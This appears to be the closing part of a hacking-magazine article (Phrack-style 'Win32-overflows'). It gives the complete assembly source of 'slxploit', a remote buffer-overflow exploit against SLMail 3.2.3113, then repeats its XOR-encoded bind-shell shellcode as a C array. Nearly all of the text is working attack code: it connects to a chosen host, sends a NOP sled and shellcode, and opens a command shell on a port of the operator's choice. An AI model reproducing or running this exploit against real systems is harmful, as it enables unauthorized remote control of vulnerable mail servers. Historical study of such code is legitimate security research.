|
||
.model flat, stdcall
|
||
|
||
|
||
extrn GetCommandLineA:PROC
|
||
extrn GetStdHandle:PROC
|
||
extrn WriteConsoleA:PROC
|
||
extrn ExitProcess:PROC
|
||
extrn WSAStartup:PROC
|
||
extrn connect:PROC
|
||
extrn send:PROC
|
||
extrn recv:PROC
|
||
extrn WSACleanup:PROC
|
||
extrn gethostbyname:PROC
|
||
extrn htons:PROC
|
||
extrn socket:PROC
|
||
extrn inet_addr:PROC
|
||
extrn closesocket:PROC
|
||
|
||
.data
|
||
sploit_length equ 851
|
||
|
||
sploit:
|
||
db 065h, 078h, 070h, 06eh, 020h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
|
||
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
|
||
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
|
||
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
|
||
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
|
||
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
|
||
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
|
||
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
|
||
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
|
||
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
|
||
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
|
||
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
|
||
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
|
||
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
|
||
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
|
||
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
|
||
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
|
||
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
|
||
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
|
||
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
|
||
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
|
||
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
|
||
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
|
||
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
|
||
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
|
||
db 090h, 090h, 0ebh, 007h, 090h, 0aah, 01ch, 09ch, 077h, 090h, 090h, 090h
|
||
db 033h, 0c0h, 050h, 0f7h, 0d0h, 050h, 059h, 0f2h, 0afh, 059h, 0b1h, 0c6h
|
||
db 08bh, 0c7h, 048h, 080h, 030h, 099h, 0e2h, 0fah, 033h, 0f6h, 096h, 0bbh
|
||
db 099h, 010h, 011h, 044h, 0c1h, 0ebh, 008h, 056h, 0ffh, 013h, 08bh, 0d0h
|
||
db 0fch, 033h, 0c9h, 0b1h, 00bh, 049h, 032h, 0c0h, 0ach, 084h, 0c0h, 075h
|
||
db 0f9h, 052h, 051h, 056h, 052h, 0b3h, 00ch, 0ffh, 013h, 0abh, 059h, 05ah
|
||
db 0e2h, 0ech, 032h, 0c0h, 0ach, 084h, 0c0h, 075h, 0f9h, 0b3h, 010h, 056h
|
||
db 0ffh, 013h, 08bh, 0d0h, 0fch, 033h, 0c9h, 0b1h, 006h, 032h, 0c0h, 0ach
|
||
db 084h, 0c0h, 075h, 0f9h, 052h, 051h, 056h, 052h, 0b3h, 00ch, 0ffh, 013h
|
||
db 0abh, 059h, 05ah, 0e2h, 0ech, 083h, 0c6h, 005h, 033h, 0c0h, 050h, 040h
|
||
db 050h, 040h, 050h, 0ffh, 057h, 0e8h, 093h, 06ah, 010h, 056h, 053h, 0ffh
|
||
db 057h, 0ech, 06ah, 002h, 053h, 0ffh, 057h, 0f0h, 033h, 0c0h, 057h, 050h
|
||
db 0b0h, 00ch, 0abh, 058h, 0abh, 040h, 0abh, 05fh, 048h, 050h, 057h, 056h
|
||
db 0adh, 056h, 0ffh, 057h, 0c0h, 048h, 050h, 057h, 0adh, 056h, 0adh, 056h
|
||
db 0ffh, 057h, 0c0h, 048h, 0b0h, 044h, 089h, 007h, 057h, 0ffh, 057h, 0c4h
|
||
db 033h, 0c0h, 08bh, 046h, 0f4h, 089h, 047h, 03ch, 089h, 047h, 040h, 08bh
|
||
db 006h, 089h, 047h, 038h, 033h, 0c0h, 066h, 0b8h, 001h, 001h, 089h, 047h
|
||
db 02ch, 057h, 057h, 033h, 0c0h, 050h, 050h, 050h, 040h, 050h, 048h, 050h
|
||
db 050h, 0adh, 056h, 033h, 0c0h, 050h, 0ffh, 057h, 0c8h, 0ffh, 076h, 0f0h
|
||
db 0ffh, 057h, 0cch, 0ffh, 076h, 0fch, 0ffh, 057h, 0cch, 048h, 050h, 050h
|
||
db 053h, 0ffh, 057h, 0f4h, 08bh, 0d8h, 033h, 0c0h, 0b4h, 004h, 050h, 0c1h
|
||
db 0e8h, 004h, 050h, 0ffh, 057h, 0d4h, 08bh, 0f0h, 033h, 0c0h, 08bh, 0c8h
|
||
db 0b5h, 004h, 050h, 050h, 057h, 051h, 050h, 0ffh, 077h, 0a8h, 0ffh, 057h
|
||
db 0d0h, 083h, 03fh, 001h, 07ch, 022h, 033h, 0c0h, 050h, 057h, 0ffh, 037h
|
||
db 056h, 0ffh, 077h, 0a8h, 0ffh, 057h, 0dch, 00bh, 0c0h, 074h, 02fh, 033h
|
||
db 0c0h, 050h, 0ffh, 037h, 056h, 053h, 0ffh, 057h, 0f8h, 06ah, 050h, 0ffh
|
||
db 057h, 0e0h, 0ebh, 0c8h, 033h, 0c0h, 050h, 0b4h, 004h, 050h, 056h, 053h
|
||
db 0ffh, 057h, 0fch, 057h, 033h, 0c9h, 051h, 050h, 056h, 0ffh, 077h, 0ach
|
||
db 0ffh, 057h, 0d8h, 06ah, 050h, 0ffh, 057h, 0e0h, 0ebh, 0aah, 050h, 0ffh
|
||
db 057h, 0e4h, 090h, 0d2h, 0dch, 0cbh, 0d7h, 0dch, 0d5h, 0aah, 0abh, 099h
|
||
db 0dah, 0ebh, 0fch, 0f8h, 0edh, 0fch, 0c9h, 0f0h, 0e9h, 0fch, 099h, 0deh
|
||
db 0fch, 0edh, 0cah, 0edh, 0f8h, 0ebh, 0edh, 0ech, 0e9h, 0d0h, 0f7h, 0ffh
|
||
db 0f6h, 0d8h, 099h, 0dah, 0ebh, 0fch, 0f8h, 0edh, 0fch, 0c9h, 0ebh, 0f6h
|
||
db 0fah, 0fch, 0eah, 0eah, 0d8h, 099h, 0dah, 0f5h, 0f6h, 0eah, 0fch, 0d1h
|
||
db 0f8h, 0f7h, 0fdh, 0f5h, 0fch, 099h, 0c9h, 0fch, 0fch, 0f2h, 0d7h, 0f8h
|
||
db 0f4h, 0fch, 0fdh, 0c9h, 0f0h, 0e9h, 0fch, 099h, 0deh, 0f5h, 0f6h, 0fbh
|
||
db 0f8h, 0f5h, 0d8h, 0f5h, 0f5h, 0f6h, 0fah, 099h, 0ceh, 0ebh, 0f0h, 0edh
|
||
db 0fch, 0dfh, 0f0h, 0f5h, 0fch, 099h, 0cbh, 0fch, 0f8h, 0fdh, 0dfh, 0f0h
|
||
db 0f5h, 0fch, 099h, 0cah, 0f5h, 0fch, 0fch, 0e9h, 099h, 0dch, 0e1h, 0f0h
|
||
db 0edh, 0c9h, 0ebh, 0f6h, 0fah, 0fch, 0eah, 0eah, 099h, 0ceh, 0cah, 0d6h
|
||
db 0dah, 0d2h, 0aah, 0abh, 099h, 0eah, 0f6h, 0fah, 0f2h, 0fch, 0edh, 099h
|
||
db 0fbh, 0f0h, 0f7h, 0fdh, 099h, 0f5h, 0f0h, 0eah, 0edh, 0fch, 0f7h, 099h
|
||
db 0f8h, 0fah, 0fah, 0fch, 0e9h, 0edh, 099h, 0eah, 0fch, 0f7h, 0fdh, 099h
|
||
db 0ebh, 0fch, 0fah, 0efh, 099h, 09bh, 099h
|
||
store dw ?
|
||
db 099h, 099h, 099h
|
||
db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 0fah, 0f4h, 0fdh
|
||
db 0b7h, 0fch, 0e1h, 0fch, 099h, 0ffh, 0ffh, 0ffh, 0ffh, 00dh, 00ah
|
||
|
||
logo db "SLMail (3.2.3113) remote.", 13, 10
|
||
db "by dark spyrit aka Barnaby Jack <dspyrit@beavuh.org>",13,10,13,10
|
||
db "usage: slxploit <host> <port> <port to bind shell>", 13, 10
|
||
db "eg - slxploit host.com 27 1234",13,10,0
|
||
logolen equ $-logo
|
||
|
||
|
||
errorinit db 10,"error initializing winsock.", 13, 10, 0
|
||
errorinitl equ $-errorinit
|
||
|
||
derror db 10,"error.",13,10,0
|
||
derrorl equ $-derror
|
||
|
||
nohost db 10,"no host or ip specified.", 13,10,0
|
||
nohostl equ $-nohost
|
||
|
||
noport db 10,"no port specified.",13,10,0
|
||
noportl equ $-noport
|
||
|
||
no_port2 db 10,"no bind port specified.",13,10,0
|
||
no_port2l equ $-no_port2
|
||
|
||
response db 10,"waiting for response....",13,10,0
|
||
respl equ $-response
|
||
|
||
reshost db 10,"error resolving host.",13,10,0
|
||
reshostl equ $-reshost
|
||
|
||
sockerr db 10,"error creating socket.",13,10,0
|
||
sockerrl equ $-sockerr
|
||
|
||
ipill db 10,"ip error.",13,10,0
|
||
ipilll equ $-ipill
|
||
|
||
cnerror db 10,"error establishing connection.",13,10,0
|
||
cnerrorl equ $-cnerror
|
||
|
||
success db 10,"sent.. spawn connection now.",13,10,0
|
||
successl equ $-success
|
||
|
||
console_in dd ?
|
||
console_out dd ?
|
||
bytes_read dd ?
|
||
|
||
wsadescription_len equ 256
|
||
wsasys_status_len equ 128
|
||
|
||
WSAdata struct
|
||
wVersion dw ?
|
||
wHighVersion dw ?
|
||
szDescription db wsadescription_len+1 dup (?)
|
||
szSystemStatus db wsasys_status_len+1 dup (?)
|
||
iMaxSockets dw ?
|
||
iMaxUdpDg dw ?
|
||
lpVendorInfo dw ?
|
||
WSAdata ends
|
||
|
||
sockaddr_in struct
|
||
sin_family dw ?
|
||
sin_port dw ?
|
||
sin_addr dd ?
|
||
sin_zero db 8 dup (0)
|
||
sockaddr_in ends
|
||
|
||
wsadata WSAdata <?>
|
||
sin sockaddr_in <?>
|
||
sock dd ?
|
||
numbase dd 10
|
||
_port db 256 dup (?)
|
||
_host db 256 dup (?)
|
||
_port2 db 256 dup (?)
|
||
buffer db 1000 dup (0)
|
||
|
||
.code
|
||
start:
|
||
|
||
call init_console
|
||
push logolen
|
||
push offset logo
|
||
call write_console
|
||
|
||
call GetCommandLineA
|
||
mov edi, eax
|
||
mov ecx, -1
|
||
xor al, al
|
||
push edi
|
||
repnz scasb
|
||
not ecx
|
||
pop edi
|
||
mov al, 20h
|
||
repnz scasb
|
||
dec ecx
|
||
cmp ch, 0ffh
|
||
jz @@0
|
||
test ecx, ecx
|
||
jnz @@1
|
||
@@0:
|
||
push nohostl
|
||
push offset nohost
|
||
call write_console
|
||
jmp quit3
|
||
@@1:
|
||
mov esi, edi
|
||
lea edi, _host
|
||
call parse
|
||
or ecx, ecx
|
||
jnz @@2
|
||
push noportl
|
||
push offset noport
|
||
call write_console
|
||
jmp quit3
|
||
@@2:
|
||
lea edi, _port
|
||
call parse
|
||
or ecx, ecx
|
||
jnz @@3
|
||
push no_port2l
|
||
push offset no_port2
|
||
call write_console
|
||
jmp quit3
|
||
|
||
@@3:
|
||
push ecx
|
||
lea edi, _port2
|
||
call parse
|
||
|
||
push offset wsadata
|
||
push 0101h
|
||
call WSAStartup
|
||
or eax, eax
|
||
jz winsock_found
|
||
|
||
push errorinitl
|
||
push offset errorinit
|
||
call write_console
|
||
jmp quit3
|
||
|
||
winsock_found:
|
||
xor eax, eax
|
||
push eax
|
||
inc eax
|
||
push eax
|
||
inc eax
|
||
push eax
|
||
call socket
|
||
cmp eax, -1
|
||
jnz socket_ok
|
||
|
||
push sockerrl
|
||
push offset sockerr
|
||
call write_console
|
||
jmp quit2
|
||
|
||
socket_ok:
|
||
mov sock, eax
|
||
mov sin.sin_family, 2
|
||
|
||
mov ebx, offset _port
|
||
call str2num
|
||
mov eax, edx
|
||
push eax
|
||
call htons
|
||
mov sin.sin_port, ax
|
||
|
||
mov ebx, offset _port2
|
||
call str2num
|
||
mov eax, edx
|
||
push eax
|
||
call htons
|
||
xor ax, 09999h
|
||
mov store, ax
|
||
|
||
mov esi, offset _host
|
||
lewp:
|
||
xor al, al
|
||
lodsb
|
||
cmp al, 039h
|
||
ja gethost
|
||
test al, al
|
||
jnz lewp
|
||
push offset _host
|
||
call inet_addr
|
||
cmp eax, -1
|
||
jnz ip_aight
|
||
push ipilll
|
||
push offset ipill
|
||
call write_console
|
||
jmp quit1
|
||
|
||
ip_aight:
|
||
mov sin.sin_addr, eax
|
||
jmp continue
|
||
|
||
gethost:
|
||
push offset _host
|
||
call gethostbyname
|
||
test eax, eax
|
||
jnz gothost
|
||
|
||
push reshostl
|
||
push offset reshost
|
||
call write_console
|
||
jmp quit1
|
||
|
||
gothost:
|
||
mov eax, [eax+0ch]
|
||
mov eax, [eax]
|
||
mov eax, [eax]
|
||
mov sin.sin_addr, eax
|
||
|
||
continue:
|
||
push size sin
|
||
push offset sin
|
||
push sock
|
||
call connect
|
||
or eax, eax
|
||
jz connect_ok
|
||
push cnerrorl
|
||
push offset cnerror
|
||
call write_console
|
||
jmp quit1
|
||
|
||
connect_ok:
|
||
push respl
|
||
push offset response
|
||
call write_console
|
||
|
||
xor eax, eax
|
||
push eax
|
||
push 1000
|
||
push offset buffer
|
||
push sock
|
||
call recv
|
||
or eax, eax
|
||
jg sveet
|
||
|
||
push derrorl
|
||
push offset derror
|
||
call write_console
|
||
jmp quit1
|
||
|
||
sveet:
|
||
push eax
|
||
push offset buffer
|
||
call write_console
|
||
|
||
xor eax, eax
|
||
push eax
|
||
push sploit_length
|
||
push offset sploit
|
||
push sock
|
||
call send
|
||
push successl
|
||
push offset success
|
||
call write_console
|
||
|
||
quit1:
|
||
push sock
|
||
call closesocket
|
||
quit2:
|
||
call WSACleanup
|
||
quit3:
|
||
push 0
|
||
call ExitProcess
|
||
parse proc
|
||
;cheap parsing..
|
||
lewp9:
|
||
xor eax, eax
|
||
cld
|
||
lodsb
|
||
cmp al, 20h
|
||
jz done
|
||
test al, al
|
||
jz done2
|
||
stosb
|
||
dec ecx
|
||
jmp lewp9
|
||
done:
|
||
dec ecx
|
||
done2:
|
||
ret
|
||
endp
|
||
|
||
str2num proc
|
||
push eax ecx edi
|
||
xor eax, eax
|
||
xor ecx, ecx
|
||
xor edx, edx
|
||
xor edi, edi
|
||
lewp2:
|
||
xor al, al
|
||
xlat
|
||
test al, al
|
||
jz end_it
|
||
sub al, 030h
|
||
mov cl, al
|
||
mov eax, edx
|
||
mul numbase
|
||
add eax, ecx
|
||
mov edx, eax
|
||
inc ebx
|
||
inc edi
|
||
cmp edi, 0ah
|
||
jnz lewp2
|
||
|
||
end_it:
|
||
pop edi ecx eax
|
||
ret
|
||
endp
|
||
|
||
init_console proc
|
||
push -10
|
||
call GetStdHandle
|
||
or eax, eax
|
||
je init_error
|
||
mov [console_in], eax
|
||
push -11
|
||
call GetStdHandle
|
||
or eax, eax
|
||
je init_error
|
||
mov [console_out], eax
|
||
ret
|
||
init_error:
|
||
push 0
|
||
call ExitProcess
|
||
endp
|
||
|
||
write_console proc text_out:dword, text_len:dword
|
||
pusha
|
||
push 0
|
||
push offset bytes_read
|
||
push text_len
|
||
push text_out
|
||
push console_out
|
||
call WriteConsoleA
|
||
popa
|
||
ret
|
||
endp
|
||
|
||
end start
|
||
|
||
;--(code ends)------------------------------------------------------------
|
||
<-->
|
||
Here is the shellcode in c format:
|
||
|
||
<++> P55/Win32-overflows/slxploit-shellcode.c !f4bcdaf5
|
||
#define sploit_length 851
|
||
|
||
unsigned char sploit[851] = {
|
||
0x65, 0x78, 0x70, 0x6e, 0x20, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
|
||
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
|
||
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
|
||
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
|
||
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
|
||
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
|
||
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
|
||
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
|
||
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
|
||
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
|
||
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
|
||
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
|
||
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
|
||
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
|
||
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
|
||
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
|
||
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
|
||
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
|
||
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
|
||
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
|
||
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
|
||
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
|
||
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
|
||
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
|
||
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
|
||
0x90, 0x90, 0xeb, 0x07, 0x90, 0xaa, 0x1c, 0x9c, 0x77, 0x90, 0x90, 0x90,
|
||
0x33, 0xc0, 0x50, 0xf7, 0xd0, 0x50, 0x59, 0xf2, 0xaf, 0x59, 0xb1, 0xc6,
|
||
0x8b, 0xc7, 0x48, 0x80, 0x30, 0x99, 0xe2, 0xfa, 0x33, 0xf6, 0x96, 0xbb,
|
||
0x99, 0x10, 0x11, 0x44, 0xc1, 0xeb, 0x08, 0x56, 0xff, 0x13, 0x8b, 0xd0,
|
||
0xfc, 0x33, 0xc9, 0xb1, 0x0b, 0x49, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75,
|
||
0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0x0c, 0xff, 0x13, 0xab, 0x59, 0x5a,
|
||
0xe2, 0xec, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75, 0xf9, 0xb3, 0x10, 0x56,
|
||
0xff, 0x13, 0x8b, 0xd0, 0xfc, 0x33, 0xc9, 0xb1, 0x06, 0x32, 0xc0, 0xac,
|
||
0x84, 0xc0, 0x75, 0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0x0c, 0xff, 0x13,
|
||
0xab, 0x59, 0x5a, 0xe2, 0xec, 0x83, 0xc6, 0x05, 0x33, 0xc0, 0x50, 0x40,
|
||
0x50, 0x40, 0x50, 0xff, 0x57, 0xe8, 0x93, 0x6a, 0x10, 0x56, 0x53, 0xff,
|
||
0x57, 0xec, 0x6a, 0x02, 0x53, 0xff, 0x57, 0xf0, 0x33, 0xc0, 0x57, 0x50,
|
||
0xb0, 0x0c, 0xab, 0x58, 0xab, 0x40, 0xab, 0x5f, 0x48, 0x50, 0x57, 0x56,
|
||
0xad, 0x56, 0xff, 0x57, 0xc0, 0x48, 0x50, 0x57, 0xad, 0x56, 0xad, 0x56,
|
||
0xff, 0x57, 0xc0, 0x48, 0xb0, 0x44, 0x89, 0x07, 0x57, 0xff, 0x57, 0xc4,
|
||
0x33, 0xc0, 0x8b, 0x46, 0xf4, 0x89, 0x47, 0x3c, 0x89, 0x47, 0x40, 0x8b,
|
||
0x06, 0x89, 0x47, 0x38, 0x33, 0xc0, 0x66, 0xb8, 0x01, 0x01, 0x89, 0x47,
|
||
0x2c, 0x57, 0x57, 0x33, 0xc0, 0x50, 0x50, 0x50, 0x40, 0x50, 0x48, 0x50,
|
||
0x50, 0xad, 0x56, 0x33, 0xc0, 0x50, 0xff, 0x57, 0xc8, 0xff, 0x76, 0xf0,
|
||
0xff, 0x57, 0xcc, 0xff, 0x76, 0xfc, 0xff, 0x57, 0xcc, 0x48, 0x50, 0x50,
|
||
0x53, 0xff, 0x57, 0xf4, 0x8b, 0xd8, 0x33, 0xc0, 0xb4, 0x04, 0x50, 0xc1,
|
||
0xe8, 0x04, 0x50, 0xff, 0x57, 0xd4, 0x8b, 0xf0, 0x33, 0xc0, 0x8b, 0xc8,
|
||
0xb5, 0x04, 0x50, 0x50, 0x57, 0x51, 0x50, 0xff, 0x77, 0xa8, 0xff, 0x57,
|
||
0xd0, 0x83, 0x3f, 0x01, 0x7c, 0x22, 0x33, 0xc0, 0x50, 0x57, 0xff, 0x37,
|
||
0x56, 0xff, 0x77, 0xa8, 0xff, 0x57, 0xdc, 0x0b, 0xc0, 0x74, 0x2f, 0x33,
|
||
0xc0, 0x50, 0xff, 0x37, 0x56, 0x53, 0xff, 0x57, 0xf8, 0x6a, 0x50, 0xff,
|
||
0x57, 0xe0, 0xeb, 0xc8, 0x33, 0xc0, 0x50, 0xb4, 0x04, 0x50, 0x56, 0x53,
|
||
0xff, 0x57, 0xfc, 0x57, 0x33, 0xc9, 0x51, 0x50, 0x56, 0xff, 0x77, 0xac,
|
||
0xff, 0x57, 0xd8, 0x6a, 0x50, 0xff, 0x57, 0xe0, 0xeb, 0xaa, 0x50, 0xff,
|
||
0x57, 0xe4, 0x90, 0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa, 0xab, 0x99,
|
||
0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde,
|
||
0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff,
|
||
0xf6, 0xd8, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6,
|
||
0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1,
|
||
0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8,
|
||
0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb,
|
||
0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6, 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed,
|
||
0xfc, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0,
|
||
0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0,
|
||
0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0xce, 0xca, 0xd6,
|
||
0xda, 0xd2, 0xaa, 0xab, 0x99, 0xea, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99,
|
||
0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99,
|
||
0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99,
|
||
0xeb, 0xfc, 0xfa, 0xef, 0x99, 0x9b, 0x99,
|
||
0x00, 0x00, // word value for bind port, client must mod and XOR with 0x99
|
||
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
|
||
0xfa, 0xf4, 0xfd, 0xb7, 0xfc, 0xe1, 0xfc, 0x99, 0xff, 0xff, 0xff, 0xff,
|
||
0x0d, 0x0a};
|
||
<-->
|
||
----[ EOF
|